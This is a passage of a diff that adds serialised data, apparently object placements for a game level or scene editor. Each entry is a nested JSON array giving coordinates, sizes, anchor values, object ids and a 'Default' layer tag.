+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 1649,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4640,
+ 801,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 1650,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4820,
+ 801,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 5304,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4550,
+ 893,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 5305,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4640,
+ 893,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 5306,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4820,
+ 893,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 5307,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4460,
+ 985,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 5308,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4551,
+ 985,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 5309,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4641,
+ 985,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 5310,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4731,
+ 985,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 5311,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4820,
+ 985,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 5312,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4461,
+ 1077,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 5313,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4550,
+ 1077,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 5314,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4640,
+ 1077,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 5315,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4730,
+ 1077,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 5316,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4820,
+ 1077,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 5317,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4550.365234375,
+ 1169.104614257813,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 5318,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4640.720703125,
+ 1169,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 5319,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4730.720703125,
+ 1169,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 5320,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4819.720703125,
+ 1169,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 506,
+ 5321,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3992.865478515625,
+ 1109.589599609375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1402,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4023.293212890625,
+ 1109.589599609375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5322,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4054.179931640625,
+ 1109.589599609375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5323,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4084.607421875,
+ 1109.589599609375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5324,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4115.044921875,
+ 1109.589599609375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5325,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4145.47265625,
+ 1109.589599609375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5326,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4176.359375,
+ 1109.589599609375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5327,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4206.787109375,
+ 1109.589599609375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5328,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4236.92138671875,
+ 1109.6240234375,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5329,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4374.9248046875,
+ 1083.00390625,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5331,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4011.20703125,
+ 985.577880859375,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5330,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4373.9248046875,
+ 892.0778198242188,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5332,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4821,
+ 586,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5334,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4821,
+ 507,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5335,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4821,
+ 428,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5336,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4822,
+ 350,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5337,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4823,
+ 271,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5338,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4823,
+ 194,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5339,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5191,
+ 909,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.07637524604797363,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 5342,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5323,
+ 963,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.07637524604797363,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 5343,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6682,
+ 1664,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5344,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 80,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5703,
+ 1018,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 5345,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5433,
+ 1018,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 5346,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5433,
+ 1110,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 5347,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5703,
+ 1110,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 5348,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5523,
+ 1018,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 5349,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5613,
+ 1018,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 502,
+ 5350,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5793,
+ 1018,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 5351,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5523,
+ 1110,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 5352,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5613,
+ 1110,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 503,
+ 5353,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5793,
+ 1110,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 5354,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5433,
+ 1202,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 5355,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5524,
+ 1202,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 5356,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5614,
+ 1202,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 5357,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5704,
+ 1202,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 5358,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5793,
+ 1202,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 504,
+ 5359,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5434,
+ 1294,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 5360,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5523,
+ 1294,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 5361,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5613,
+ 1294,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 5362,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5703,
+ 1294,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 5363,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5793,
+ 1294,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 505,
+ 5364,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4930,
+ 483,
+ 0,
+ 102.9173889160156,
+ 363.4954528808594,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 413,
+ 5365,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0.9,
+ 0,
+ 0,
+ 0,
+ 60,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5469,
+ 680,
+ 0,
+ 102.9173889160156,
+ 363.4954528808594,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 413,
+ 5370,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0.9,
+ 0,
+ 0,
+ 0,
+ -60,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5054.23779296875,
+ 350.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5371,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5132.23779296875,
+ 350.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5372,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4898.23779296875,
+ 350.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5373,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4976.23779296875,
+ 350.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5374,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5054.23779296875,
+ 428.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5375,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5132.23779296875,
+ 428.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5376,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4898.23779296875,
+ 429.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5377,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4976.23779296875,
+ 429.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5378,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5054.23779296875,
+ 194.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5379,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5132.23779296875,
+ 194.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5380,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4898.23779296875,
+ 194.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5381,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4976.23779296875,
+ 194.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5382,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5054.23779296875,
+ 272.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5383,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5132.23779296875,
+ 272.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5384,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4898.23779296875,
+ 273.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5385,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4976.23779296875,
+ 273.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5386,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5054.23779296875,
+ 37.90481567382813,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5387,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5132.23779296875,
+ 37.90481567382813,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5388,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4898.23779296875,
+ 37.90481567382813,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5389,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4976.23779296875,
+ 37.90481567382813,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5390,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5054.23779296875,
+ 115.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5391,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5132.23779296875,
+ 115.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5392,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4898.23779296875,
+ 116.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5393,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4976.23779296875,
+ 116.9048156738281,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5394,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5054.23779296875,
+ -119.0951843261719,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 5395,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5132.23779296875,
+ -119.0951843261719,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
